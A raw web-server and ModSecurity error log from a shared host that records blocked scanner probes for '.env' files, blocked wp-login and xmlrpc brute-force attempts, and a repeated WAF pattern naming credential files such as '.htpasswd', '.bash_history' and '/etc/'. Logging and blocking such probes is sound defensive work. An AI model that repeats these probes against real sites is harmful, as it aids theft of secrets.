"torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y8lWSojQL4F7upKBf1QAAwhU"] [Sat Jun 13 18:16:50.468672 2026] [security2:error] [pid 646876:tid 647075] [client 34.23.213.224:45352] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y8tyTkdrNlD40tSGrhQAAAEM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:50.504456 2026] [security2:error] [pid 648189:tid 648384] [client 5.255.231.54:47364] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/robots.txt"] [unique_id "ai3y8lWSojQL4F7upKBf2gAAAKQ"] [Sat Jun 13 18:16:50.559690 2026] [security2:error] [pid 648189:tid 648472] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/boxes/oracle-vagrant-boxes/Kubernetes/.env"] [unique_id "ai3y8lWSojQL4F7upKBf2wAAAPY"] [Sat Jun 13 18:16:50.588110 2026] [security2:error] [pid 648189:tid 648285] [remote 17.241.75.8:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 8.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y8lWSojQL4F7upKBf3QAArD8"] [Sat Jun 13 18:16:50.616472 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL2RyaXZlcg== [Sat Jun 13 18:16:50.616812 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL2RyaXZlcg== [Sat Jun 13 18:16:50.631452 2026] [security2:error] [pid 646876:tid 647123] [client 34.23.213.224:45358] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y8tyTkdrNlD40tSGriwAAAHM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:50.693339 2026] [security2:error] [pid 648189:tid 648372] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/boxes/oracle-vagrant-boxes/OLCNE/.env"] [unique_id "ai3y8lWSojQL4F7upKBf4AAAAJg"] [Sat Jun 13 18:16:50.792871 2026] [security2:error] [pid 646876:tid 647066] [client 34.23.213.224:45370] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y8tyTkdrNlD40tSGrjgAAADo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:50.814429 2026] [security2:error] [pid 648189:tid 648277] [remote 203.172.89.21:56008] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.89.172.203.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "pys.tlq.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3y8lWSojQL4F7upKBf6QAAmjc"] [Sat Jun 13 18:16:50.814720 2026] [security2:error] [pid 648189:tid 648374] [client 203.172.89.21:56008] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "pys.tlq.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3y8lWSojQL4F7upKBf6QAAmjc"] [Sat Jun 13 18:16:50.827258 2026] [security2:error] [pid 648189:tid 648440] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/bucoffea/.env"] [unique_id "ai3y8lWSojQL4F7upKBf6gAAANs"] [Sat Jun 13 18:16:50.958158 2026] [security2:error] [pid 648189:tid 648475] [client 34.23.213.224:45380] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y8lWSojQL4F7upKBf7gAAAPk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:50.962468 2026] [security2:error] [pid 648189:tid 648420] [client 185.177.72.9:43662] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/build.php"] [unique_id "ai3y8lWSojQL4F7upKBf7wAAAMc"] [Sat Jun 13 18:16:51.005128 2026] [security2:error] [pid 648189:tid 648232] [remote 17.241.75.181:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 181.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y8lWSojQL4F7upKBf8gAA8ww"] [Sat Jun 13 18:16:51.008271 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.102:29779] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:51.011707 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.102:29779] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:51.098425 2026] [security2:error] [pid 646876:tid 646967] [remote 74.208.38.160:40950] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.38.208.74.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "alohaconnect.org"] [uri "/wp-login.php"] [unique_id "ai3y89yTkdrNlD40tSGrmwAAJFg"] [Sat Jun 13 18:16:51.098627 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:16:51.099074 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:16:51.118039 2026] [security2:error] [pid 648189:tid 648478] [client 34.23.213.224:45386] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y81WSojQL4F7upKBf9AAAAPw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:51.164911 2026] [access_compat:error] [pid 648189:tid 648310] [remote 57.141.14.37:28498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:51.165226 2026] [access_compat:error] [pid 648189:tid 648310] [remote 57.141.14.37:28498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:51.278322 2026] [security2:error] [pid 646876:tid 647108] [client 34.23.213.224:45394] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y89yTkdrNlD40tSGrnQAAAGQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:51.295311 2026] [security2:error] [pid 648189:tid 648297] [remote 57.141.14.110:58762] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "ameritekwater.com"] [uri "/index.php/post_tag-sitemap.xml"] [unique_id "ai3y81WSojQL4F7upKBf-wAA10s"] [Sat Jun 13 18:16:51.313928 2026] [security2:error] [pid 646876:tid 646959] [remote 17.246.19.240:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 240.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y89yTkdrNlD40tSGrnwAAGlA"] [Sat Jun 13 18:16:51.381165 2026] [security2:error] [pid 648189:tid 648453] [client 185.177.72.9:43672] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/build/.env"] [unique_id "ai3y81WSojQL4F7upKBf_gAAAOc"] [Sat Jun 13 18:16:51.441874 2026] [security2:error] [pid 648189:tid 648358] [client 34.23.213.224:45406] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y81WSojQL4F7upKBgAQAAAIo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:51.525986 2026] [security2:error] [pid 648189:tid 648224] [remote 17.241.227.9:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y81WSojQL4F7upKBgBgAA7QQ"] [Sat Jun 13 18:16:51.567955 2026] [security2:error] [pid 648189:tid 648361] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/file/basename_basic.phpt"] [unique_id "ai3y81WSojQL4F7upKBgCAAAAI0"] [Sat Jun 13 18:16:51.605762 2026] [security2:error] [pid 646876:tid 647131] [client 34.23.213.224:45412] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y89yTkdrNlD40tSGrpQAAAHs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:51.661882 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:16:51.662312 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:16:51.707121 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.110:21800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:51.707401 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.110:21800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:51.767873 2026] [security2:error] [pid 646876:tid 647120] [client 34.23.213.224:45416] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y89yTkdrNlD40tSGrqgAAAHA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:51.789560 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.88:48478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:51.791472 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.88:48478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:51.921160 2026] [security2:error] [pid 646876:tid 647088] [client 34.23.213.224:45422] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y89yTkdrNlD40tSGrrwAAAFA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:51.930233 2026] [security2:error] [pid 646876:tid 647105] [client 34.23.213.224:45428] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y89yTkdrNlD40tSGrsQAAAGE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:51.975923 2026] [security2:error] [pid 648189:tid 648412] [client 34.23.213.224:45426] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y81WSojQL4F7upKBgFgAAAL8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:52.062407 2026] [lsapi:warn] [pid 646876:tid 646994] [remote 103.228.203.215:40195] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n [Sat Jun 13 18:16:52.062437 2026] [lsapi:warn] [pid 646876:tid 646994] [remote 103.228.203.215:40195] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n [Sat Jun 13 18:16:52.092622 2026] [security2:error] [pid 646876:tid 647032] [client 34.23.213.224:45442] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9NyTkdrNlD40tSGrtgAAABg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:52.146500 2026] [security2:error] [pid 648189:tid 648370] [client 34.23.213.224:45452] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9FWSojQL4F7upKBgGwAAAJY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:52.174175 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:52.174614 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:52.191677 2026] [proxy:error] [pid 648189:tid 648388] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:16:52.191778 